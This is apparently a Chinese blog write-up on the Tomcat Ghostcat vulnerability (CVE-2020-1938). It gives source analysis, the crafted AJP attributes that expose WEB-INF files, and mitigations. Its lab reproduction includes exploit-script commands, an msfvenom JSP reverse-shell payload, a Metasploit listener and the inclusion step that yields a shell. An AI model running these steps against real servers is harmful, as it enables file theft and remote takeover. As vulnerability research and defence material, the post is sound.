CVE-2020-1938源码分析与漏洞复现(Tomcat 文件包含/读取)

漏洞概述

漏洞名称 :Tomcat AJP协议文件包含/读取漏洞(Ghostcat)
CVE 编号 :CVE-2020-1938
CVSS 评分 :9.8
影响版本

  • Apache Tomcat 6.x (≤ 6.0.53)
  • Apache Tomcat 7.x (≤ 7.0.99)
  • Apache Tomcat 8.x (≤ 8.5.51)
  • Apache Tomcat 9.x (≤ 9.0.31)
    修复版本 :≥ 7.0.100 / 8.5.52 / 9.0.31
    漏洞类型 :文件包含/读取 → 可导致远程代码执行(RCE)
    根本原因:Tomcat AJP协议处理器未对请求路径做安全校验,攻击者通过构造恶意AJP请求可读取Web目录任意文件(含WEB-INF敏感文件),结合文件上传可执行任意代码。

漏洞原理与源码分析

1. 漏洞触发条件

  • 开启AJP服务 :默认监听8009端口(conf/server.xml<Connector port="8009" protocol="AJP/1.3" />)。
  • 攻击可达性:攻击者需访问AJP端口(常暴露于内网,但公网容器可能误配置暴露)。

2. 关键源码定位

(1)AJP请求处理入口:AjpProcessor#process
代码路径org.apache.coyote.ajp.AjpProcessor

java 复制代码
public SocketState process(SocketWrapper<Socket> socket)
        throws IOException {
        ...
        prepareRequest(); // 解析AJP请求头
        ..
        adapter.service(request, response); // 转发请求
        ...
   }

漏洞点 :未校验request_uriattributes的合法性,允许构造恶意路径。

(2)请求路由逻辑:CoyoteAdapter#service
代码路径org.apache.catalina.connector.CoyoteAdapter

java 复制代码
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) {
    ...
    connector.getService().getContainer().getPipeline().getFirst().invoke(request, response); // 进入容器处理链
    ...
}

(3)文件读取漏洞点:DefaultServlet#doGet
代码路径org.apache.catalina.servlets.DefaultServlet

java 复制代码
 @Override
    protected void doPost(HttpServletRequest request,
                          HttpServletResponse response)
        throws IOException, ServletException {
        doGet(request, response);
    }
java 复制代码
protected void serveResource(HttpServletRequest request,
                                 HttpServletResponse response,
                                 boolean content)
            throws IOException, ServletException {
            String path = getRelativePath(request);// 获取请求路径(可被恶意构造)
            ...
            if (path.endsWith("/") || (path.endsWith("\\"))) {
                String requestUri = (String) request.getAttribute(
                        RequestDispatcher.INCLUDE_REQUEST_URI);
                if (requestUri == null) {
                    requestUri = request.getRequestURI();
                }
                response.sendError(HttpServletResponse.SC_NOT_FOUND,
                        requestUri);
                return;// 目录请求跳过
            }
            ...
              // 关键:直接读取文件并返回内容(无路径校验)
            InputStream renderResult = null;
            if (cacheEntry.context != null) {

                if (serveContent) {          
                    renderResult = render(getPathPrefix(request), cacheEntry);
                }

            }
            if (serveContent) {
                try {
                    response.setBufferSize(output);
                } catch (IllegalStateException e) {
                }
                if (ostream != null) {
                    if (!checkSendfile(request, response, cacheEntry, contentLength, null))
                        copy(cacheEntry, renderResult, ostream);
                } else {
                    copy(cacheEntry, renderResult, writer);
                }
            }

漏洞利用 :通过AJP协议传递javax.servlet.include.path_info属性,可绕过路径限制访问WEB-INF目录。

3. 敏感文件读取机制

Tomcat安全限制:

  • 浏览器直接请求/WEB-INF/web.xml → 返回404错误 (受conf/web.xml<servlet-mapping>保护)。

  • AJP协议绕过原理
    构造attributes

    复制代码
    {  
      javax.servlet.include.path_info: "/WEB-INF/web.xml",  
      javax.servlet.include.servlet_path: "/"  
    }  

    使DefaultServlet/WEB-INF/web.xml识别为合法路径,从而读取敏感文件。


漏洞利用方式

1. 攻击流程

攻击者 AJP端口(8009) AJP处理器 CoyoteAdapter DefaultServlet 文件系统 发送恶意AJP请求 解析请求 路由请求 读取WEB-INF/web.xml 返回敏感文件内容 攻击者 AJP端口(8009) AJP处理器 CoyoteAdapter DefaultServlet 文件系统

2. 两种利用场景

利用类型 Payload示例 影响
敏感文件读取 读取WEB-INF/web.xml获取数据库密码 信息泄露、权限提升
远程代码执行 结合文件上传漏洞+文件包含执行JSP WebShell 服务器完全沦陷

3. 利用工具与步骤

(1).使用 Vulhub 环境启动漏洞靶机
bash 复制代码
docker-compose up -d
(2)访问 http://target:8080,确认服务正常运行
(3)下载漏洞利用工具
(4)读取敏感文件
  • 用python2执行工具中的Tomcat-ROOT路径下文件读取(CVE-2020-1938).py
bash 复制代码
python Tomcat-ROOT路径下文件读取(CVE-2020-1938).py -p 8009 -f /WEB-INF/web.xml 192.168.1.100
//换为自己靶场的ip
  • 读取到敏感文件
    (5)下面模拟结合文件上传,实现反弹shell
  • kail生成payload
bash 复制代码
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.102 LPORT=6666 -f raw > shell.txt
(6)由于是模拟文件上传,所以这里直接将shell.txt,复制到靶机容器中
bash 复制代码
docker cp shell.txt 容器id:/usr/local/tomcat/webapps/ROOT/WEB-INF/
(7)kali开启监听
bash 复制代码
msfconsole
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.31.150 # kali的IP
set lport 4444 # 监听端口
run
(8)利用之前的工具包含shell.txt
bash 复制代码
python 'Tomcat-ROOT路径下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/shell.txt 192.168.1.100
(9)成功getshell

影响范围与修复方案

1. 受影响版本

Tomcat 分支 受影响版本 安全版本
6.x ≤ 6.0.53 无官方修复(EOL)
7.x ≤ 7.0.99 ≥ 7.0.100
8.x ≤ 8.5.51 ≥ 8.5.52
9.x ≤ 9.0.31 ≥ 9.0.31

2. 官方修复方案

  • 补丁提交修订记录
  • 修复逻辑
    1. 禁用javax.servlet.include.*属性(AjpProcessor):

      java 复制代码
      // 检查并拒绝包含敏感属性
      if (request.getAttribute(Globals.REQUEST_DISPATCHER_PATH_ATTR) != null) {
          response.setStatus(403); // 直接返回403禁止
          return;
      }  
    2. 增加requiredSecret认证(强制AJP连接配置密码)。

3. 临时缓解措施

  1. 关闭AJP服务

    xml 复制代码
    <!-- conf/server.xml -->  
    <!-- 注释AJP Connector -->  
    <!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->  
  2. 网络隔离

    • 防火墙限制8009端口仅允许可信IP访问。
  3. 升级中间件

    • 使用Nginx反向代理并过滤恶意请求。

漏洞启示

  1. 最小化暴露:非必要网络服务(如AJP)应默认关闭。
  2. 协议安全性:二进制协议需严格校验属性合法性。
  3. 纵深防御 :敏感目录(WEB-INF)的访问控制需在多层实现(容器/代码/网络)。

参考链接

  1. CVE-2020-1938 官方通告(Apache Tomcat)
  2. 漏洞原理深度解析(长亭科技)
  3. 源码分析与补丁解读(知乎专栏)
  4. Tomcat CVE-2020-1938 漏洞复现和利用过程(csdn)
相关推荐
领世达检测V133529092496 分钟前
智能门锁申请 EN 18031 欧盟网络安全认证指南
网络·安全
A22747 分钟前
自定义线程池 4.0
java·线程池
康小庄11 分钟前
AQS独占模式——资源获取和释放源码分析
java·开发语言·jvm·spring boot·spring·spring cloud·nio
中云DDoS CC防护蔡蔡15 分钟前
自己的服务器被 DDOS跟CC攻击了怎么处理,如何抵御攻击?
运维·服务器·经验分享·网络安全·ddos
阿昌喜欢吃黄桃17 分钟前
mac安装mvnd结合idea
java·maven·idea·编译·打包·mvnd·编译打包
码不停蹄的玄黓1 小时前
通关JUC:Java并发工具包从入门到精通 | 深度源码解析
java·jvm·spring boot·spring·spring cloud
一只编程菜鸟1 小时前
Java + easyexcel 新旧数据对比,单元格值标红
java·开发语言
年老体衰按不动键盘1 小时前
idea中导入maven项目的方法
java·maven·intellij-idea
步、步、为营1 小时前
.NET10:asp.net core mini api中的验证
java·asp.net·.net
00后程序员张1 小时前
实战解析:如何用克魔(KeyMob)等工具构建iOS应用稳定性与数据可观测体系
websocket·网络协议·tcp/ip·http·网络安全·https·udp